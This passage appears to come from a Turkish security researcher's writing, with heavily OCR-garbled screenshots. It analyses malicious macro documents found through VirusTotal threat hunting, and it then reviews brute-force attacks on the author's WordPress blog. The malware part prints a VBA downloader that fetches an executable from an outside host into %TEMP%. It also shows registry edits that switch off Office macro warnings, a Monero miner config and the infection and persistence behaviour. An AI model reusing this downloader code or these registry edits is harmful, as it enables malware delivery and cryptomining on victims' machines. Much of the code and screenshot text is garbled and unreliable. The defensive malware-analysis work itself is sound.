dokiimanlar mi olusturuyordu ? sorusu kafami kurcalamaya
basladu.


https://www.virustotal.com/en/file/18cb1aa0d8f3fcb75f3c2f5598fde5d01a094028d7dc1822a6b2152727774bdc/analysis/
https://www.virustotal.com/en/file/055D4B6E6D189FF1F89BEDF51E83A74C6F0A83DA629C27DA7A4570F142D2AAD3/analysis/

B | ) Antivirus scan for 18cb1 X

+
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~

&« > 0 @ @ htps; 122083 26 5: dc/analysis/
> total
SHA256 h
®0&0
Analysis date: 2018-08-17 12:55:28 UTC ( 5 months ago )
MAnalysis | @Filedetail @ Additonal information 8 Comments @) Votes
€rco a8 i - %

@ okt B Uk W Mot AR

3}

[ep————

Macros And VBA Code trarms
B koo

Shell “end.exe fc * + T, bide @

e s

Sub rou)
bin UL, 119 4 sering
URL = "heepi /561 oo
6 - Cavlroa(“Temp) & "\-scacher.exe

Set Wicepieg - Createdhjecs (WiTHEts. KinHEtpReauest.5.17)
IF uimeepneg 15 tothing Then
Set laiceaneg - Createohiect ULnNCtp KinEEpRegLest. ")

HSSoReq.option(e) - “Wozil1ara.o (conpatibles MSIE 7.65 kindous 1T 6.0)’
Hezaneg opeion(s) - Alloumediracts.
4 oot ion(22) - True
. pen 6T, URL, False
nrzaneg.send 2

DocumentFroperties
Cpimamodiiedty  MODUR
- wecr
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TEMMUZ MAA.xis - Excel A X
Insert  Page Layout Formulas  Data  Review  View @ Tell me what you want to Signin £ Share
Calibri -l - T 3 p
- ==
" = el Find &
¥ & Format - & - Selact +
Clipboard 1= Font Alignment Number Styles Cells Editing ~
1| SECURITY WARNING Macros have been disabled. Enable Content x
D28 3 fe &
A 5 c b e ; 6 i .
XCEL FORMAT DOSYASININ KULLANIMI
1
2 HAZIRAN MAAS VE EGITIM OGRETIM ODENEG!
% To8.2018 Toplam O Tutsr ve Personsl Sayist
5 MUSTER| HUMARASI 731 1722461
3 SE
7 by @ Pars airimn
] Odeme Tiiri "
s [ Personel Ads Soyads Personel Hesap No Personel Sicl No el No
1 Toarsene )
1 Yy
2 ssm,
3 s,
2.506,10
FETERT)
FETERE)
FETERE)
3.596,60
1.565,55
157357
157357
kurummazs |Gl Sheets 1 1 v
ol 8
Private Sub App. Ducumen:Open(ByUal Doc As Document> ayout @ Tellme.. Signin £ Share
Application Display B
fetonBocuneaisc Font .Hidden = Fal el
t t. tent . t | £
ctiveDocument .Content.Font Hidden = False bced AaBh_AaBb( 2
RegheySave “HHCUNSoftware\Microsof t\0ffice\" & Application.Uersion & "NExcelns| =8
ecuritySUBapnings, 1, VREG DUORD:
ReghevSaue HRCUNEOEE mare HT £ENOFFiceN"” & Application.Uersion & "\HordsSel
cur ity iBivarnings ", 1, "REG_DMORD N L ~
Call MPS . X
[End Sub 0 @
Private Sub fipp_DocumentBeforeSave<ByUal Doc As Docunent. SavefsUI As Boolean. () Type Size -
lancel As Boolean> ’
1F Blietec tnen e
nntlveDucument Content.Font.Hidden = True Flefolder
e folder
end"Sub’ Flefelde
File folder
[Private Sub App_DocumentBeforeClose<ByVal Doc As Document, Cancel As Boolean> E
sing - True Pythen File KB
[End Sub d Py 1K8
Sub RegKeySaveCi_RegKey As Stwing, iValue As Stwing, Optional i_Type As String LL4TE KB
Din mleS As Object 13KB
Set_nyhS cateObiect(MSeript. Shell™
_RegKey, i_Ualue, i_Type 6 KB
KB
et Createohjec ripting.filesystenabject ™ L6
B 2 Enedrond Tons™ & MU Eiachol et Word D. 13KB
If Not FS.FileExists<INP} Then VBA File 4KB
€all FDI N =
xistoCTHE) Then Eython file KB
Resune Next : a5 "
oo /e S THD, wBlide IBcisurt Word ) e
Text Document 3KB
Resume Next Python File 15KB
e sc v + THP, vhHide ! e
Pythen File 17KB
Python File 15k

Din lIRL NP fs String

ttp -mooo.con™
Environ ("Ienp”) & "\“Scachel.exe"

Set WinttpReq = GreateOhject("WinHtep.WinHttpRequest.5.1"
If WinHttpReq Is Nothing Then

S0t HankeepRea = Croate0hiect C"WinHtep. UinHttpRequest 5"
n

- 1 + %100
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Rulesets

Job status

Rules

Creation time:
Finish time
Scanned data
Scanning speed

Matches

3] vt x
¢sco
@ oo i

Notifications

B i 9 a0

Scan file

Retrohunt

Finished

tule xf_sifresi : XFL { meta: author

“xfl. mooo com”

Oca. 5, 2019, 8:22 0.0.

Qca. 5, 2019, 11:48 6.

4209TB

Calculating

24 Download hashes

& e istotlconuidomsin moco comtons

M s st

Mert SARICA (mert sarica@gmall.com)' version
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01" weight

* sommaANe @

5 strings: $a
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o x

Communicating Fes O

8-F

= 1]

° [
e Lo wsn w6 wnszexe  coen
20181225 ez O OPEMINL .. om0 KULLANIM_KILAVLIZL-5FAT- 2500 R —
o Scanned Detections. Type Name.
o cpes
somen
- Document 1.docm. 20190104 7180 vbaproject bin
orescpmon
—
e —
-
20181106 25181 - .03 DEROLAMA TALIMATI docm MS Word.
o cpes
Ey— E < e
€ 5 C 0 @ Mpsdwwinstotlcom/guldomsinidmooo comieltions * sommaANe @
@ Fockd Coreer i B Uinkedin W MertSARCA fertzc M Inbox - mertaar
Ll = 7 wessanes ()
® o cpes
L] oocument
" Document
orescpmmt
e T
o
o gL 721191 ABUCHE 1 IVENLC KURALAY
soaren
—
E—
o
20130926 2181 ! 722 iLKYARDIM TALIAATI docm NS Word,
-
orescpnn
p—
soumen
2010926 21182 - ‘Decument
U
— weas wim e~
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[ » sistemni b TALIMATLAR - Y it sl) 2
Organize + [ Open v Sharewith > Print  E-mail  Newfolder - 0 @ |f 1 e
7 Favorites e UL 1.7 (O WL SR
B Desitop % T.07 GALISMA TEZGAHLARI TEMIZLIK T...  11.06.2018 03:13 Microsoft Word M 388
18 Downloads @5 T.08 LAVABO HUVEN TALIMATLdOCT il 2018 03:13 Microsoft Word M... 378
1 Recent Places @5 T.09 COP KOVALARI HIVEN TALIMATL...  11.06.2018 03:14 Microsoft Word M. I
dzf’ T.10 DEZENFEKTANLI PASPAS KULLANM. 11.06.2018 03:14 Microsoft Word M. 38 KB
@ Libraries T11 SOYUNMA ODALARY — i i N
i 1, T.14 AMEALA) ODASI KULLANMA VE TEMIZLIK TALIMATLS.. et
[ Pocuments % 712 TEMIZLIK EKIPMANLE
o Music {7 713 DEPO TEMIZLEME T4 | | General | Fie Hashes | Securty | Detaii | Previous Versions |
[E] Pictures @5 T4 AMBALAJ ODASIKUI
B videos @5 715 LAVABO KULLANMA} et s ¥ b
{5 T16 PERSONEL CALISMA! Tile =
1% Computer 5 T17 EL VIKAMA TALIMAT] Subject
& Local Disk (C) @5 T18 CAM KONTROLTALIY | | Tags |
@5 719 TEMiZLK MALZEMEL | :Eg""“ 3
Z ents
S Network % 7.20 ZIVARETGI KABUL TA| S
5 721 51 saGLIGLve i GUJ | Origin
:
722 1LKYARDIM TALIMAT| T
45 Last saved by
% 723 DEPREM TAUMATLAN | | Fevison mumber 114 A
5 T.24 YANGIN TALIMATLA | Version number -
T.14 AMBALAJ ODASI KULLANMA VE TE. flogantency EMCISRORCE W
Microsoft Word Macro-Enabled Document Cempany
Manager
Content created  31.03:201800:13 —
Datelest saved  11.06.2018 0215
Last printed
Total ediing tme. 22:23.00
Bemove Properies and Personal Information
TEMMUZ MAAS s Date modified itle
(oK) [ Gancel ] [ Aol
Microsoft Excel 7-2003 Worksheet Authors

http://xfl[.]mooo.com web adresi ve c¢ozdigi ip adresleri
Ozelinde arama yaptigimda ise ip adreslerinden indirilen srim2
dosyast dikkatimi cekti. Dosyay1 indirip 7-Zip araci ile agip
config.json dosyasina baktigimda Monero dijital para madeni
yapan bir yazilim oldugu ortaya ¢ikt1.

3 Vet
co a 6282114 101 4224503t

@ boki oo e B Uik M SR M e i

) 50 engines detected tis e
50

2]
(<]
®
Y

woo  mezowsse 3 (@

Grapn summary © mwuns o o

scanned oeecions e
2simarios
aonn sor e p——
w120 o [ rre—
~@amus
/ Comand inGrphs © 3
g Owner Description
/
@1 twdomains 0]

VirusTots) Communty Toots Pramium Services Documantstion


https://www.virustotal.com/#/file/6062e0f7f45f6042c186032c27be177d18ca046cbce75d2022bfb1444f7ed665/detection
https://www.getmonero.org/

3] vt
esco
@ oo i

PR T e——
8 s istotl comul s 14082 63108 laons

A C v ——

x| 30 et x|+
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- o x

* sopmpane @

il

n P —

© # cetected URLs under this P address

RELATIONS

commuNTY

Graph summary ©

.

Passive DNS Replication ©

20120 et 000 com

20 puppetmasirio

ws 0

Scannea Detactions R

290001 e s gs:
20120 s 140 2 59 08t
P 1zres 14D 2501082

o

* sOomEmAN @

T )

somes owscions e ame Communicseng ies ©
wane sre wee o scmnes  Decions Tpe ame
s o : e e wmee  cmetiee
31t «x
€5 G0 oo s T
@ Hockd Coreer tnfor: B Linkedin W Mert SARICA (mertsc M Inbox - mestaar
@ © Mo trsingsighings for i o
0 S 576385
RELATONS  comMuNTY
p— v ©
i oo e [
w2t e 75 20872
- 20160807 2188 p145.76 3 86/conn.
——
@ 3 counioad s
scmea owmetors e ame
EU wzee e
P e e
W wies Wz o
Vi communty Toos Pramum srvices oecumensten
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[ cAUsers\Mert\Deskiopy
File Edit Search View Tools Macro Run  Plugins Window 7 X

e s o d| [ pglex BRIEIEEEH: =® |

B stat3bs £ Elmrmg‘ma}

" true

"xmr-cul.nanopool.org:14444”,

@yandex. com”,

i

"tls-fingerprint”: null

client.exe dosyasina kisaca bakmaya karar verdikten sonra IDA
Pro ve Interactive Delphi Reconstructor araclari ile analiz etmeye
basladim. Dikkate deger tespitlerime hizlica yer vermem gerekirse;
cachel.exe calistirildiktan sonra kendisini C:\Users\admin\
AppData\Local\Google Chrome Helper\chromehelper.exe
altina kopyalamaktadir.

http://xredini[.]mooo.com , http://140[.]82.59.108/config ve
http://45[.]76.3.86/min adresleri ile iletisime ge¢mektedir.
IDAPython yardimi ile gizlenmis karakter dizilerini ¢6zdiigiimde
karakter dizileri arasinda xred[.]Jmooo.com ,
xredini[.Jmooo.com ve xfl[.]mooo.com adresleri ortaya
cikmaktadir.

Zamanlanmig gorevlere (task scheduler) Google Chrome
Helper Update kaydini yaratabilmektedir.

Sistem tizerindeki xIs, xIsx, doc, docx uzantili dosyalar


https://www.hex-rays.com/products/ida/index.shtml
https://www.hex-rays.com/products/ida/index.shtml
https://github.com/crypto2011/IDR
https://github.com/idapython/src
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bulduktan sonra icerigini ZTEMP% klasoriine yarattigi makro
uzantili (docm, xIsm gibi) ofis dosyasina (Yazar adi: WinServer)
kopyalamakta ve orjinal dosyalar1 silerek yerine orjinal
dosyalarin isimleri altinda bu ofis dosyasini kopyalamaktadir.
(Ornek: Masatistiindeki Mert.docx dosyasinu silip yerine
Mert.docm olusturuyor ve icine Mert.docx icerigini kopyaliyor.)
Sistem tizerindeki tiim yiritilebilir dosyalari (exe) bulup
modifiye ederek calistirildig1 anda hem orjinal dosyay: hem de
Resource Directory kismindaki zararl ofis dosyalarini (%TEMP%
klasoriine actig1) ve programi caligtirmaktadir.

VirusTotal iizerinde client.exe dosyasi lizerinde yer alan
ABvgjdfL+hpQCgCT42VdO6m4GD karakter dizisini
arattigimda ise bu zararli yazilimin bulagtig1 ¢ok sayida 6rnekle

kargilagtim.

File Tools = Plugins_ Program
[unietF2)| Topes IF4) | Fanms (F5) | | codetviener (FE) | Classviewsr (F7)| Stings (F8) | Mames (F9) | SowceCode (F10)]

00401068 <Integer> Word <AnsiStrina> 'Rduanted TCA"
0040107C <Integer> Gardinal <AnsiString>

00401094 <ANsiString> String CAneistrind> ‘blade Enclo
004010A0 <MideString> WideString
00401080 <Uariant> Uariant
00401000 Cariant> 0lelariant
00401000 CUHT> TObject

88401124 <Class> TObject (System)
00401144 <Interface> IInterface (i
804011C4 CUNT> TInterfacedObject

inaistrings ‘Ci\Appsvbelpni Prnmct\:(red;?\u 118\Server\PJResFile.pas
<AnsiStrina> 'Assertion failure’

<ANsiString> 'G:\Apps\Delphi Prnmnt\xren;?\u 118\Server\PJResFile.pas
<Ansistring> Assertion failur

<AnsiString> ‘I°

<Ansistringy 1°

<Ansistring> '1°

<AnsiStrinad 'oRIo\'hu)ﬂchUlnz[lminDSSPilJtnRus1MFJZPDFOELuOZcDEBPx*SE'
<Ansistrinay

<ANsistring> 'awm.lsrwweusnsam&n-unlusxsr-sssvma/u

<AnsiString> 'ntl Update Service*

<AnsiStrinay *

<ANsistringy 'annu/nntqzxn/uuknuuuunﬂuusahnunulazsnnanularusuansnmsn
<Ansistring> ‘%s\%s

<AnsiStrina> ‘DisplauMame’

<Ansistrinay 'WzlmTl:u

<Ansistring> ‘La

<AnsiStrinad 'uNRELsPBhﬁHksF

<Ansistrinay

¢nsiString BRSUN

<AnsiStrina> '

ChnIstrinds oLI7TThdN"
<Ansistring> 'FluFmMn/ﬂHPLP]Vn
<AnsiStrina>

<AnsiString> 'sFuunuxnmE
<Ansistring> '%s ‘%s”

dnsiString (L

<ANsiStrina> 'Google Chrome Helper*
CANGLStringy xNL1770tbqolKLnAN

<ANsistring> 'annu/cuwzxn/uukuuuuuuﬂuusaqlnumlazsnnunularusuansumsb
ndc
59"

00LOEBFO CUHT> Elnualidop
00408948 CUHT> EZeroDivide
0048890 CUNT> EOverflow
004889F8 CUNT> EUnderFlow
00488A58 <UHT> ElnvalidPointer

T

<AnsiString> *xNL{i7PuHH7ul2k3Ari37en"
<AnsiString> *xdkUuBodTKKaXa00*
<ANSiString> 'aRBLieb8u+W0x4DADUNUAC"

. v

00488AAC CUMT> ElnualidCast
/|| 98488808 <UHT> EConvertError
00408B64 CUHT> EAccessUiolation

< m v

|

00401000 <Enumeration> Boolean WRefe |
00401028 <Char> Char

<AnsiString> ‘Sealed-case . |
93831050 SINEeuers Inteer CARSIStrands ‘Naitiosusten chassis: |
Qesutioy sintedely Byte <AnsiString> ‘Compact PCI'
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G e R BEENCN RpG Packer Detector v0.7.6 B At

N
[ %32 [ gpen

Library function [ll Regular function [l Instruction [ Data [ Ur

Vx Edition 2017 -2

Functorswindow 0 & X Borland Delphi v6.0 - v7.0 Compiler oE
= =
Function name Nada Detected )
‘GetFullPathNameA F
0 Possible
Contact: i
.01 Seg. A M-B
I
sub_45743C proc near
push  ebx
push  esi
mov  esi, edx
mov: ebx, eax
e mov: ecx, esi
+ |mov dx, 925h
Imov eax, ebx
call  sub_as7e3C
Ak, Graph overview 0o & x pop esi
pop ebx
retn
sub_45743C endp

100.00% (-334,-135) (781,366} 000S633C 0045743C: sub_45743C (Synchronized with Hex View-1)

[2 output window o8 x
451704: ©5-81-2019 18:15:39 decompiling (@)... A
451B68: ©5-81-2819 18:15:39 decompiling (1;usedcpu @0:080:88) int _ usercallfi<eax>(int alfi<eax>, int a2@<edx>) I
95-61-2019 18:15:39 The application has been completely decompiled. i |
Caching 'Functions window'... ok -

AUz_ide Down Disk: 12GB

S e B ) e DO RSP X > DO s | 9@ D
I i Ll L

[ oo o @ —
NET

.a <\.m.w.\»,.mm,,. : scoom woon._

S oax
5 0 x Blsmam nax
G 8 o 3
P 2 ¢ T Do :
A T freceed
e BT enm e man e e o SR

o

e AL oecoied Sing coni Jon

S oo oy e by G

oot oaceced Siing. citarer ¢

el s S o

e
T T
attre_ ) [ P ye——— o E=n
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OQ-\ B » Mert » AppData » Local » Temp »

Organize v [ open ~ Share with v Print New folder

e Name Date modficd Ty SEe
B Desktop @7 t9Ff.docm. 21.01.2019 20:57 Microsoft Word M.. 6KE
8 Downloads [27] ~Scachel.exe 21.01.2019 20:57 Application 11 KB
] Recent Places || {D450B6A4-00D7-4DAO-B2DA-93CBOFAF... 71012010 20:56 DAT File 0KE
|| 6gwOsN.ico 13.01.2019 22:28 Icon 0KB
A Libraries @ 6gwOsNLexe 1301.2019 22:28 Application 39.682 KB
(3 Documents ] XhqRQy.co 130120192228 " 9Pt docm Properties - [~=)
& Music @ XhoRQy.exe 13012019 2228
&) Pictures || MRsb.ico 13012010 22:28 | | [General [ Fi Hashes [ Securty | Detais |Previous Versions |
Vid IVIRa6. 130120192228
B videos ® 1VRe6.ee Property Value B
|| ERXEibico 13012019 21:42
Description
Computer @ EFXEb.exe 13012019 21:42 b
o
&L Local Disk () € Puesidee 13012019 21:42 S
L] PweSiiico 13012019 21:42 e =
| G3Higbiico 13012019 21:42 Categories
€ G3High.oe 13012019 21:42 Comments
] (EBB9TLA3-A4A3-4ABF-ABS0-6OC2BABAC... 130120192139 Origin
€ 6nHqQee 130120192131 Adthors
] 26wHqQico 13.01.2019 21:31 Lostsaved by WinSenver
€ TZVGexe 13.01.2019 21:31 e b !
Version number
] TZCaco 130120192131 Programname  Microsoft Office Word
@ uktb.exe 13012019 2131 Compary
L] ukfdtbico 13012019 2131 Manager
@ 4FefBace 13012019 2130 Contert created  31.03:2018 00:13
=) Caam! ooy ey Detelost saved  19.05201801:16
) AdobeARM.log 120120191245 Loaaiead
Tetal editngtme22:23:00 -
[ AdobeARM_NotLocked log 05012019 21:31
| dd_veredist_amd64_2019010521205000g  05.012019 21:30 Remove Propetties snd Persanal Infomation
2] au-descriptor-L&0_191-bl2.xmi 05012019 21:19

| juschedlog 05012019 21:19 Foply

|| dd_veredist amd64_20190105211043J0g ~ 05.012019 21:11
|| dd_veredist_amd64_20190105211103J0g  05.012019 21:11 Text Document 11K8

m. » Mert » AppData » Local » Temp »

Otganize ~ [ Open  Sharewith +  New folder

ST Name Date modified Type size
B Desktop @ toFf.docm 21012019 20:57 Microsoft Word M. 26K8
& Downloads 1 -Scachel.exe 2012092057 Applcation 1Ke
] Recent Places D 1.01.2019 DATFile ke
) 6guosiico 1BOLA2B  Ion oke
4 Libraries € 6gwOsN.exe 13.01.20192228 Application 39682 KB
[ Documents ) XhaRQyico 1BOLA2B  leon o0ke
J Music € XhqRQy.ere Y e g =
] Pictures ] MRab.ico 1301, -
H Videos € MRsbere 1301
| EfXEiico 1301, (e s
8 Computer @ PxEbexe 1301, o T T
source Drectory Entry 1, 10: 2, AKA:Bitnaps
& Local Disk () @ PusSi.exe 1301, il
L] pweskaico 1301 a } Resource Drectory Entry 2, ID: 3, AK: Tcons
@ Network L) GaHigbico 1301 & Resource Drectory
€ Giigpoe B 3 Opors st e e oy v I A i
] {EB6OT1A3-A4A3-4ABF-A650-69C2BABAC 1 & (5 Data Drectories b
|— @ Secton Headers i1 E
( 2GwHqQexe ol [ O o oy
] 2GwHaQico sodll=g
€ TZGee 13014| — D Relocation Drectory d
[ 724Gico 1od| [ DS ovectoy
€ uktbexe 1o [~ DAddress Converter
—a  ID: 14, AKA: Icon Groups
L ukitiico BO L 9 Hex Editor - Resource Drectory
@ trehgoe o [ & entitier & Resource Drectoy Entry 1, Name: MAINICON
vl S I
— D e  1D: 16, A Version I
| AdobeARM.Iog sodf— ps il
1] AdobeARM NotLockedlog ool o
] dd veredist amdes 20100105212958.10g 05014 L 2y upx ity
2] au-descriptor-1.80_191-b12.xml 050140
] jusched.log 05014 Member Offset Size. Value.
| dd_veredist_amd64_20190105211043.log oso1 4 Name 00082248 Dword 180000302
] dd_veredist amd6s_2019010521110310g 05014 | OffserToata | 0008224C | Dword 50000100
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Sonuca gelecek olursam, kurum olarak VirusTotal iizerinde tehdit
avina ¢ikarak hem kurumunuza gerceklestirilmesi planlanan siber
saldirilardan, sosyal mithendislik saldirilarindan haberdar olabilir
hem de analistlerinizin tehdit avi ile tespit ettigi 6rnekleri analiz
etmelerini saglayarak zararli yazilimi analizi konusunda yetkinlik
kazanmalarini saglayabilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.



8. WordPress

Givenligi

Neredeyse 10 yila yakin bir siiredir siber giivenlik tizerine
aragtirmalar yapip, 6grendiklerimi yazmaya, sizlerle paylasmaya
devam ediyorum. Sizlerden gelen geri bildirimlere baktigimda
cogunlugunuzun yazdiklarimdan faydalandigini gérmek beni bir
hayli mutlu ediyor. Kimi zaman 6ziinde kotii niyet olmayip sadece
bana mesaj vermek igin bloguma ufak capli siber saldir1 (Ornek:
DoS ile Miicadele yazisi) gerceklestirenler, asagidaki gibi yonetici
girisi yapmay1 deneyenler olsa da bazen tam olarak sebebini ve
niyetini anlayamadigim saldirilarla da karsilasiyorum. Bundan
yola ¢ikarak ben de bu yazimda, bu saldirilardan birini nasil tespit
ettigime ve benim gibi WordPress CMS kullananlarin bloglarini
nasil giivenli hale getirebilecekleri ile ilgili ipuclar1 vermeye karar

verdim.

113


https://www.mertsarica.com/dos-ile-mucadele/
https://wordpress.org/
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P i 21 September, Used an invalid username 'MERTSARICAadmin' to try 20 Novernber, 21 September,
Aot 1SE20471220 2018 01:48 tosign in 201801:48 1 201801:48
. S ieas 20 September, Used an invalid usemame ‘adminMERTSARICA'totry 19 Novernber, 20 September,
Lockoit  “202137454.225' 54155049 to'sign in. 201820:49 1 201820:49
; 20 September, Used an invalid usemame ‘adminMERTSARICA totry 19 Novernber, 20 September,
Ragsoub” IS 0TAnED 2018 20:49 to sign in. 2018 20:49 1 2018 20:49
" 20 September, Used an invalid username ‘adminMERTSARICA  to try 19 Novernber, 20 September,
Lockoul gt 2 BT Ly 2018 20:49 to sign in. 2018 20:49 2 2018 20:49
20 September, Used an invalid username 'MERTSARICA_admin’ to try 19 Novernber, 20 September,
. 7 Y
Lockout  180.183:247.248 515197 to sign in. 201819:07 1 201819:07
) . 20 September, Used an invalid usemame 'MERTSARICA admin'totry 19 Novernber, 20 September,
LOcKOULIE I AS 285 152 S0 R R 0, to sign in. 201819:07 ? 201819:07
; — 20 September, Used an invalid usermame 'adminMERTSARICA to try 19 Novernber, 20 September,
kooRouk” 14325515388 2018 17:40 to sign in. 2018 17:40 L 2018 17:40
" 20 September, Used an invalid username 'adminM ERTSARICA  to try 19 Novernber, 12 October,
Lockolt 1871902992141 o615 1508 to sign in. 201817:28 2 2018 00:48
; 20 September, Used an invalid usemame ‘adminMERTSARICA'totry 19 Novernber, 20 September,
Ragsout:  Todsdez23 2018 17:28 to sign in. 201817:28 1 201817:28
et 5 September, Used an invalid usermame ‘Antalya\'dan selamlarl - 4 November . 5 September,
Ll 2018 15:26 Anil Karagenc' to try 1o sign in 201815:26 201815:26
odod 5 September, Used an invalid username 'Seviliyorsunuz to try to 4 November, g 5 September,
il 2018 11:22 sign in 201811:22 201811:22
ey 31 August, 2018 | Used aninvalid usemame hocam cekilis'to try to 30 October, i 31 August, 2018
15:55 sign in. 201815:55 15:55

Oncelikle WordPress ile ilgili istatistiki bilgilere yer vermek
gerekirse, WordPress diinya genelinde en ¢ok kullanilan icerik
yonetim sistemidir ve CMS diinyasiin ~%60‘ma hakimdir.
Internet genelindeki web sitelerinin ~%33‘tiinde yine WordPress
kullanilmakta olup ~55.000°den fazla yakin eklentisi
bulunmaktadir. Yillar iginde WordPress iizerinde tespit edilen
zafiyet tiirleri degisiklik gosterse de bu zamana kadar en ¢ok tespit
edilen zafiyet turi Cross-Site Scripting (XSS)‘dir. WordPress
zafiyet veritabanina baktigimizda ise WordPress’in kendi
kodlarinda (core) ve eklentilerinde bu zamana dek 15.000°den
fazla zafiyet tespit edildigini gérebiliyoruz.

WordPressler’in genel olarak nasil hacklendigine baktigimizda
cogunlukla giivensiz barindirma firmalari/hizmetleri, zayif
yonetici parolasi, giincel olmayan siiriim, eklentiler, temalar ve
arka kap1 iceren korsan temalar (Ornek: Arka Kapi Avi yazisi)
kaynakli oldugunu goriiyoruz.

Benim de zayif yonetici parolalarini tespit etmek i¢in denenen


https://www.cvedetails.com/product/4096/?q=wordpress
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://wpvulndb.com/
https://www.mertsarica.com/arka-kapi-avi/
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wp-admin sayfam her ne kadar internete acik olsa da uzun
yillardir  Duo  Two-Factor  Authentication eklentisinden
faydalanarak yonetici girigsi icin iki faktorli dogrulama
kullaniyorum. Ayrica Wordfence Security eklentisinden de
faydalanarak deneme yanilma saldirilar1 gerceklestiren ip
adreslerinin otomatik olarak engellenmesini, olasi givenlik
zafiyetlerin tespit edilip raporlanmasini da sagliyorum. Arka kapi
iceren temalara kargi da ticretli tema kullanmay tercih ediyorum.
Giivensiz barindirma hizmetleri ile ugrasmamak adina da yine
uzun yulardan beri VPS kullaniyorum.

2018 yilinin Temmuz ayinda giinlerden bir giin yine blogumun
Wordfence eklentisinin giivenlik ekraninmi (dashboard) kontrol
ederken, yonetici sayfama deneme yanilma saldiris1 (brute-force)
yapip en c¢ok bloklanan ip adreslerinin Tirkiye’den olmasi
dikkatimi c¢ekti. IP adreslerinin whois bilgilerini kontrol
ettigimde, tamamina yakininin iDealhosting isimli barindirma
servisi saglayan bir firmaya ait oldugunu 6grendim ve giivenlik
aragtirmasi adina bu ip adreslerinden bloguma gerceklestirilen

saldirilar1 yakindan izlemeye karar verdim.


https://wordpress.org/plugins/duo-wordpress/
https://en.wikipedia.org/wiki/Multi-factor_authentication
https://wordpress.org/plugins/wordfence/
https://en.wikipedia.org/wiki/Virtual_private_server
http://www.idealhosting.net.tr/
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Wordfence activity in the past week A

M Wordfence"

Top 5 IPs Blocked

P Country Block Count
185.86.164.1@4a B TR 14
185.85.238.244 TR 14
185.86.164.1@3 B TR 14
185.86.164.1@8 TR 13
185.86.164.1@1 B TR 12

Update Blocked IPs

£l
I

Top 5 Countries Blocked

Country Total IPs Blocked Block Count
E 1R 120 220

£l rrR 1 13

E GB 1 4

= ua 1 2

Update Blocked Countries

I

Top 5 Failed Logins

Username Login Attempts Existing User

admin T Yes



Firewall Summary: Attacks Blocked for www mertsarica.com

Block Type Complex Brute Force Blacklist Total
Today 0 34 34
Week 19 220 239
Month 37 422 646

Premium

@®How are these categorized?

Top IPs Blocked

WordPress Giivenligi

Total Attacks Blocked: Wordfence Network

24 Hours RN

[ Total Attacks
60,000,000 ‘

50,000,000 | ~N
40,000,000 ‘\'—~v\

—~
30,000,000

20,000,000

10,000,000

Last Updated: 41 mins ago

24 Hours | 7 Days [EE{VETE

P Country Block Count
194.6.231.251 Ukraine = 48
185.85.239.110 Turkey = 40
5.101.40.93 Russian Federation ] 34
185.86.164.100 Turkey = 31
185.86.164.98 Turkey = 30
185.85.238.244 Turkey = 29
185.85.190.132 Turkey = 28
185.119.81.11 Turkey = 27
185.86.164.99 Turkey i
185.85.191.201 Turkey = 26

Show more
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Top IPs Blocked

7 Days 30 Days

185.85.191.201 Turkey = 3 a
185.85.239.195 Turkey = 3
185.86.164.110 Turkey 3
185.86.164.108 Turkey = 3
185.86.164.107 Turkey = 2
185.119.81.11 Turkey = 2
185.86.164.103 Turkey 2
185.85.239.110 Turkey = 2
185.86.164.109 Turkey = 2
185.86.164.101 Turkey = 2
185.86.164.100 Turkey 2
185.119.81.50 Turkey = 2
185.86.13.213 Turkey = 1
185.86.164.106 Turkey = 1

Ekim aymnda giivenlik ekranimi tekrar kontrol ettigimde ise
deneme yanilma saldirilarinin 22 ip adresinden araliksiz olarak
devam ettigini goérdiim. Tabii bir giivenlik aragtirmacisi olarak
aklima gelen sorulardan ilki bunun bloguma gerceklestirilen
hedeflenmis bir saldir1 girisimi olup, olmadigiydi. Bunu
O0grenmenin en kolay vyollarindan biri deneme yanilma
saldirilarinda kullanilan parolalar1 6grenmekti dolayisiyla vakit
kaybetmeden ise koyuldum.



Top IPs Blocked

185, 1198111
185.85.239.195
185.86.164.104
185.119.81.50
185.85.191.201
185.86.13.213
185.86.167.4

185.86.164.109
185.86.164.99

185.85.238.244
185.86.164.107
185.86.164.110
185.86.164.103

185.85.191.196

IP Tools

1urkey
Turkey
Turkey
Turkey
Turkey
Turkey
Turkey
Turkey
Turkey
Turkey
Turkey
Turkey
Turkey

Turkey

Decimal IP Calculator

ASN Information
CIDR/Netmask

Whats your IP

IP Geo-location Lookup

IPWHOIS Lookup

a
N

WHOIS IP Lookup Tool
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wall Summary: Attacks Blocked for www mertsarica.com

Block Type Complex Brute Force Blacklist Total
Today 0 51 51
Week 6 257 324

Month 8 2822 2896

Premium

@ How are these categorized?

Total Attacks Blocked: Wordfence Network

[0 Total Attacks
e —
ST

6,000,000
5,000,000
4,000,000
3,000,000
2,000,000

1,000,000

£ 2 £E55,

°
20NN

B emain Esnare

The IPWHOIS Lookup tool finds contact information for the owner of a specified IP address.

Enter & host name or &n IF adoress,

185.86.13.213

-

Relsted Tools: DNS Traversal Traceroute Vector Trace Ping WHOIS Lookup

Source: whois.ripe
1P Address: 1865.86.13

% This is the RIPE Database query
% The objects are in RPSL format.
%

net

213

service

% The RIPE Database is subject to Terms and Conditions.
% See http://waw.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
To receive output for a dstabase update, use the "

% Information related to '185.86.13.8 - 185.86.13.255"

% Abuse contact for '185.86.13.@ - 185.86.13.255' is 'sbuse@idealhosting.net.tr’

185.86.13.9 - 185.86.13.255

iDeal-tet

IDEAL HOSTING SUNUCU INTERMET HIZM. TIC. LTD. STI
http://waw. idealhosting.net.tr

R

remarks:
country: T!
ORG-IHSI2-RIPE

IDEALHOSTING-MNTNER
IDEALHOSTING-MNTNER

Abuse & intrusion reports should
be sent to: abusegidealhosting.net.tr

2016-10-28T@8:45:527

last-modified: 2016-10-28T08:45:527
RIPE

source:

organisation:  ORG-IHSI2-RIPE

org-name IDEAL HOSTING SUNUCU INTERNET HIZM. TIC. LTD. STI
ther

+982127866308
TH1624-RIPE

Agaoglu 212 MyOffice K.19 D.314-315-316 Gunesli, Bagcilar / STANBUL
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PN " ¥ sonmARgG @
‘Additional DNS racord type to lookup for domains | CNAWE || [ Leakup | K
3 Domain CountryRogon _ciy s AN cnane
1656519013 13219005105 p Gososing et Turkey a Hostg Sumucy ema i Te L S ASziz62
10565 191190 earlocantersionou com ey e st vy e T Lo 51 AS26267
19505 91201 20116195195 p aeanosing v G Ty T )
19999290244 severlechapns et Sy 3 s el Hosing Snuca el i T Lo S AS29202
